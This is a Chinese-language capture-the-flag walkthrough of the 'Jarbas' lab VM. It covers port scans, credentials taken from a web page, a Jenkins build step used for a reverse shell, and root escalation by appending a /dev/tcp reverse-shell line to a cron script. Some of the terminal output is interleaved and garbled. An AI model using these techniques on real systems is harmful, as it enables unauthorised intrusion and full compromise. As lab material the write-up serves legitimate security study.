14-jarbas

目标：10.30.13.14
端口

```
nmap -sS -p- --min-rate 10000 10.30.13.14
|10.30.13.69     14:d4:24:52:24:6a       AzureWave Technology Inc.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 03:02 GMT
|
Nmap scan report for 10.30.13.14
|111 packets received by filter, 0 packets dropped by kernel
Host is up (0.000059s latency).
|Ending arp-scan 1.10.0: 256 hosts scanned in 1.983 seconds (129.10 hosts/sec). 2 respo
Not shown: 65531 closed tcp ports (reset)
|nded
PORT     STATE SERVICE
|
22/tcp   open  ssh
| ┌──(root㉿kali)-[/dev/shm]
80/tcp   open  http
| └─#
3306/tcp open  mysql
|
8080/tcp open  http-proxy
| ┌──(root㉿kali)-[/dev/shm]
MAC Address: 08:00:27:BD:15:63 (Oracle VirtualBox virtual NIC)
| └─#

|
Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds
```

服务识别

```
└─# nmap -sV -sC -O -p22,80,3306,8080 10.30.13.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 03:03 GMT
Nmap scan report for 10.30.13.14
Host is up (0.0010s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
```

```
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
| http-methods: 
|_  Potentially risky methods: TRACE
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Site doesn’t have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
MAC Address: 08:00:27:BD:15:63 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.98 seconds
```

漏扫

```
└─# nmap --script ″vuln″ 10.30.13.14 -p22,80,3306,8080
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 03:03 GMT
Nmap scan report for 10.30.13.14
Host is up (0.00034s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-trace: TRACE is enabled
| http-sql-injection: 
|   Possible sqli for queries:
|     http://10.30.13.14:80/index_arquivos/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/njarb_data/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/njarb_data/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://10.30.13.14:80/index_arquivos/njarb_data/?C=D%3BO%3DA%27%20OR%20sqlspider
|_    http://10.30.13.14:80/index_arquivos/njarb_data/?C=N%3BO%3DD%27%20OR%20sqlspider
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.30.13.14
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://10.30.13.14:80/
|     Form id: wmtb
|     Form action: /web/submit
|
|     Path: http://10.30.13.14:80/
|     Form id:
|     Form action: /web/20020720170457/http://jarbas.com.br:80/user.php
|
|     Path: http://10.30.13.14:80/
|     Form id:
|_    Form action: /web/20020720170457/http://jarbas.com.br:80/busca/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum:
|_  /robots.txt: Robots file
MAC Address: 08:00:27:BD:15:63 (Oracle VirtualBox virtual NIC)
```

目录扫描

```
===============================================================
/.html                (Status: 403) [Size: 207]
/index.html           (Status: 200) [Size: 32808]
/access.html          (Status: 200) [Size: 359]
```

```
/.html                (Status: 403) [Size: 207]
Progress: 661680 / 661683 (100.00%)

access.html获取到几个用户
获得可能是用户的id
tiago italia99
trindade marianna
eder vipsu
```

进入后台

```
8080端口绑定了后台
eder vipsu 该账号能登录到后台
```

立足点

user

```
在后台创建新项目，在项目构建运行是可以带入shell执行。
将反弹shell语句插入其中，项目构建时执行
sh-4.2$ id
id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins)
context=system_u:system_r:initrc_t:s0
sh-4.2$ whoami
whoami
jenkins
```

提权

system

```
计划任务重，每五分就会以root权限执行一条命令，
ls /etc/cron*
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

插入反弹shell
echo "/bin/sh -i >& /dev/tcp/10.30.13.70/4445 0>&1" >>/etc/script/CleaningScript.sh

开启监听器，等待计划任务执行
nc -lvnp 4445



##计划任务成功反弹shell
 └─# nc -lnvp 4445
 ┃# │   │   │   │   │
listening on [any] 4445 ...
```

```
|# *  *  *  *  * user-name  command to be executed
connect to [10.30.13.70] from (UNKNOWN) [10.30.13.14] 57458
|*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
sh: no job control in this shell
|cat: /etc/cron.weekly: Is a directory
sh-4.2# id
|sh-4.2$ cat /etc/script/CleaningScript.sh
id
|cat /etc/script/CleaningScript.sh
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-
s0:c0.c1023     |#!/bin/bash
sh-4.2# whoami
|
whoami
|rm -rf /var/log/httpd/access_log.txt
root
```